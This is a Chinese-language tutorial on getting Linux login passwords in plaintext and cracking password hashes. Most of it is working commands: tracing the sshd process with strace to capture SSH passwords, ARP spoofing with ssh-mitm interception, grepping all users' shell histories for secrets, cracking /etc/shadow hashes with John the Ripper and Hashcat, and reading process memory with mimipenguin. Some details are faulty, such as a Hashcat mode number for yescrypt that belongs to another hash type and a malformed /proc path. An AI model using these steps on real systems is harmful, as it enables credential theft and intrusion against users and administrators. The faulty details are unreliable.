Linux密码明文密码获取及破解
1.1sshd 进程监听(实时捕获 SSH 登录明文密码)
SH 登录时,sshd进程会通过read系统调用读取客户端发送的密码(明文传输阶段,后续会被加密验证,但read调用时仍可捕获明文)。strace通过跟踪sshd的系统调用,可抓取这一过程的明文密码。
1.strace获取
strace -f -F -p $(ps aux|grep "sshd -D"|grep -v grep|awk {print $2}) -t -e trace=read,write -s 1024 2> sshd.log &
说明:
-f/-F:跟踪子进程(sshd会为每个连接创建子进程);-s 1024:默认输出字符串长度 32,若密码过长可能截断,建议改为-s 1024;必须以root权限执行(普通用户无权限跟踪sshd进程)当有 SSH 登录时,sshd.log中会出现类似日志:10:01:23 read(6, "user1\0password123\0", 1024) = 16,其中password123即为明文密码(\0是分隔符)。2.strace 监控 sshd 进程
ps aux | grep "sshd:"
# 监控密码读取
strace -f -p <PID> -e trace=read -s 1000 2>&1 | grep "password"
3.中间人攻击(MITM)
工具:ssh-mitm
(1)执行 ARP 欺骗
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1 # 欺骗客户端
(2)重定向流量至 ssh-mitm
ssh-mitm -p 2222 # 监听 2222 端口
(3)抓取密码
tcpdump -i lo port 2222 -A | grep "password"
1.2 history 命令(获取潜在密码痕迹)
history记录用户执行过的命令,若用户在命令行中直接输入密码(如脚本中使用mysql -u root -ppassword、sshpass -p password等),可能留下明文。
1.涉及指定密码明文场景
用户在脚本或命令中明文指定密码,例如:
echo "newpass" | passwd --stdin user1(history中会留下newpass);
mysql -u root -p"dbpass123"(history中可能包含dbpass123)。
2.获取方式
查看所有用户的 history(需 root 权限):
cat /home/*/.bash_history /root/.bash_history | grep -iE "pass|pwd|密码"
恢复被清空的 history:若用户执行history -c,可尝试读取内存中的历史(strings /proc/$/mem | grep -i pass,成功率低)。
1.3 /etc/shadow 文件(哈希破解)
/etc/shadow存储用户密码的哈希(格式:用户名:$id$salt$hash),$id表示加密算法,可通过工具破解哈希得到明文。
1.哈希格式与算法对应
$id 值
加密算法
破解难度
1
MD5(已淘汰,易破解)
8 位纯数字:秒级破解
5
SHA-256
10 位混合:小时级(GPU)
6
SHA-512(主流)
12 位混合:天级(GPU)
y
yescrypt(新系统,如 Debian 11+)
更高,需专用工具
2.John the Ripper破解
(1)下载及安装
wget https://www.openwall.com/john/k/john-1.9.0.tar.gz
tar -zxvf john-1.9.0.tar.gz
cd john-1.9.0/src
apt install gcc # Debian/Ubuntu系统 # 或 yum install gcc # CentOS/RHEL系统
make clean # 清理之前的编译缓存
make linux-x86-64 # 编译64位版本
cd ../run # 进入运行目录
./john --version # 若显示版本信息,说明编译成功
(2)提取哈希
grep "root" /etc/shadow > root.hash(仅 root 可读取/etc/shadow);
(3)指定字典破解
./john --wordlist=
/usr/share/wordlists/rockyou.txt root.hash(rockyou.txt是常用密码字典);(4) 增量模式(无字典时)
./john --incremental root.hash(暴力破解,适合短密码)。
3.Hashcat破解Linux密码
可以通过hashcat针对不同的加密算法来进行破解。
$id
加密算法
Hashcat 模式(-m)
1
MD5-Crypt
500
5
SHA-256-Crypt
7400
6
SHA-512-Crypt
1800
y
yescrypt
15900
2a
Blowfish-Crypt
3200
1. 破解 MD5-Crypt 哈希($1开头)
# 模式:-m 500,字典模式(-a 0)
hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 示例输出(成功时):
# $1$abc123$xyz789...:password123
2. 破解 SHA-256-Crypt 哈希($5开头)
# 模式:-m 7400,字典模式
hashcat -m 7400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 若字典破解失败,尝试掩码暴力破解(如8位数字密码):
hashcat -m 7400 -a 3 hash.txt ?d?d?d?d?d?d?d?d
3. 破解 SHA-512-Crypt 哈希($6开头)
# 模式:-m 1800(最常用),字典模式
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 进阶:结合规则生成变体密码(如在字典密码后加年份)
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
4. 破解 yescrypt 哈希($y开头)
# 模式:-m 15900(需Hashcat 6.1.0+版本支持)
hashcat -m 15900 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# 注意:yescrypt算法较新,破解难度高,建议优先使用大字典
5. 破解 Blowfish-Crypt 哈希($2a开头)
# 模式:-m 3200
hashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
参数说明:
a 0:字典模式(使用指定字典文件)-a 3:掩码暴力破解(适合已知密码长度和字符类型,如?d表示数字,?u表示大写字母)-r <规则文件>:应用密码变异规则(如大小写转换、加后缀,规则文件在 /usr/share/hashcat/rules/)--show:显示已破解的哈希和明文(破解后使用)6.实用命令示例
暂停后恢复破解:hashcat -m 1800 -a 0 hash.txt rockyou.txt --restore
仅显示已破解结果:hashcat -m 1800 hash.txt --show
1.4内存明文密码抓取
Linux 进程(如sshd、gnome-keyring、mysql)在运行时可能将密码加载到内存(如验证阶段暂存明文),通过读取进程内存可提取明文。
1.mimipenguin 工具
原理:扫描/proc/[pid]/mem(进程内存),匹配密码特征字符串(如sshd: password、mysql: auth);
支持系统:除 Kali/Ubuntu 外,CentOS 7/8、Debian 9 + 也可运行(需 Python 2.7+);
(1)安装
git clone https://github.com/huntergregal/mimipenguin.git && cd mimipenguin && ./mimipenguin.sh
输出示例:[+] Found password in sshd (PID 1234): user2:pass2024。
2.其他工具与场景
volatility(内存镜像分析),若获取内存镜像(dd if=/dev/mem of=mem.img),可提取历史密码:
vol.py -f mem.img --profile=LinuxUbuntu2004x64 linux_passwd